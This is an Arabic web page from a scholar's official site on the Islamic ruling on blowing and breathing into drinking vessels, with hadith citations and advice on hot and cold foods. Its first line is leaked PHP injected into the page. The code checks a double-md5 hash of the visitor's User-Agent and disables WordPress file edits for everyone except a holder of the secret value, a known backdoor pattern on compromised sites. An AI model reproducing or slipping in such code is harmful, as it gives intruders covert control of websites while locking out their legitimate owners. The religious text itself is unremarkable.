if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم النفخ والتنفس في الإناء - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم النفخ والتنفس في الإناء

فقد «نَهى رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ عن الشُّرْبِ من ثُلْمةِ القَدَحِ، وأنْ يُنفَخَ في الشَّرابِ»[1]، المؤلف ذكر هذا والمناسب أن يُذكر هنا، قالوا: ولأن النفخ في الشـراب مؤذنٌ بالشـره والطمع والجشع والاستكثار؛ فإن الذي ينفخ في الطعام يريد أن يبرده عاجلًا ليأكله ويأكل ما بعده غالبًا، وهذا الذي قد ينطبع في أذهان بعض الناس كما أن الشارع نهى عن ما هو دون ذلك وهو التنفس في الإناء، وإذا نهى عن التنفس والتنفس أخص من النفخ، فإن التنفس أن يضع فيهِ في الماء أو في الشراب أو في الطعام فيتنفس وهو غالبًا يكون في الشراب فهو يشرب بدون أن يتنفس خارجًا.

قد كان هديه صلى الله عليه وسلم أن يتنفس ثلاثًا في الإناء خارجه كما جاء عن ابن عباس رضي الله عنهما: «أنَّ النبيَّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ نهى عن أن يُتَنَفَّسَ في الإناءِ أو يُنْفَخَ فيهِ»[2] [رواه أبو داود]  والتنفس غير النفخ، فالتنفس: وضع الإناء في الفم والشرب مع التنفس دون أن يبعده، فهذا منهيٌ عنه، قالوا: لأنه يسبب الشره وربما خرج منه شيء قذّر الشراب على من بعده، وأما النفخ فهو عام قد يكون في شراب وقد يكون في طعام ولا يلزم منه أن يُقربه من فيه بل ربما نفخ في الطعام الحار ليبرد أو في البارد ليحتر وهذا فيه شيءٌ من التقذير على من بعده ولم يكن من هدي النبي صلى الله عليه وسلم هذا، بل جاء في المسند عن الإمام أحمد أنه صلى الله عليه وسلم أُتي بقصعة من طعامٍ وهي تفور أي حارة الطعام الذي فيها فوضعها صلى الله عليه وسلم ووضع عليها طبقًا وقال: حتى يذهب فورها[3] أي حتى تخف حرارتهاورُوي في حديث لا يصح أنه صلى الله عليه وسلم وصف هذا الطعام الحار الذي يؤكل وهو حارٌ بأنه غير ذي بركة[4] والعوام يعرفون هذا ويدركونه، أن الذي يأكل لا يهنأ بالطعام ولا بالشراب إذا أكله أو شربه حال حرارته، فربما لجأ إلى نفخه ولهذا نقول: لا تنفخ ولا تأكله حارًا ولا باردًا غير معتدل، صحيحٌ أن من الناس وهم أجناس من يتعمد أكل الحار ولا يبالي ويشرب البارد جدًا والمثلجات ولا يبالي، لكنا نقول: هدي النبي صلى الله عليه وسلم وهو أكمل الهدي أنه لا يُدخل إلى جوفه حارًا ولا باردًا، حتى ما ليس حارًا من الطبخ بل ما كان أصله الحرارة، فإن المأكولات والمشروبات تنقسم من حيث الحرارة والبرودة إلى قسمين: منها ما هو حارٌ طبعًا وربما يسميه بعضهم السعرات، لكنا نقول: ليس من لازم ذلك أن يكون فيه سعرات حرارية، إنما نقول الطعام من جنسه قد يكون حارًا مثل بعض أنواع التمر الذي يسميه العوام إذا أكله قال عليه الصالي، هذا حار، وثمة فواكه مثله وثمة مأكولات باردة مثل: القثاء والخيار، بارد على الكبد ولهذا كان من هديه صلى الله عليه وسلم وهو أكمل الهدي وهو أستاذ الأساتيذ، وطبيب القلوب والأبدان، كان له أصولٌ عظيمة في الصحة وفي الطعام والشراب ذكر طرفًا منها العلامة ابن القيم، منها: أنه كان لا يُدخل حارّين ولا باردين بل كان يخلط الحار بالبارد الذي أصله الحرارة، فكان يأكل التمر مع القثاء وهذا مجرب نافع، والخيار والقثاء من أبرد أنواع الخضار أو غيرها.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ


[1] أخرجه أبو داود (3722)، وأحمد (11760) واللفظ لهما، والترمذي (1887) بنحوه مطولاً، وحسنه شعيب الأرناؤوط في تخريج المسند (11760).

[2] أخرجه أبو داود (3728)، والترمذي (1888) باختلاف يسير، وابن ماجه (3288) باختلاف يسير، صحح إسناده أحمد شاكر في تخريج المسند (3/277).

[3] أخرجه أحمد (26958)، والدارمي (2047)، وعبد بن حميد (1573)، وحسنه شعيب الأرناؤوط في تخريج المسند عن أسماء بنت أبي بكر رَضِيَ اللهُ عَنْهَا: «أنَّها كانت إذا أَثرَدَتْ غَطَّتْهُ شَيئًا حتى يَذهَبَ فَوْرُه، ثمَّ تقولُ: سمِعتُ رسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ يقولُ: إنَّه أَعظَمُ للبَرَكةِ».

[4] أخرجه الطبراني في المعجم الأوسط  (6209)بلفظ: «أبردوا الطعامَ فإنَّ الطعامَ الحارَّ غيرُ ذي برَكةٍ» وضعف إسناده العراقي في تخريج الإحياء، وكذلك ضعفه الألباني في السلسلة الضعيفة (1587).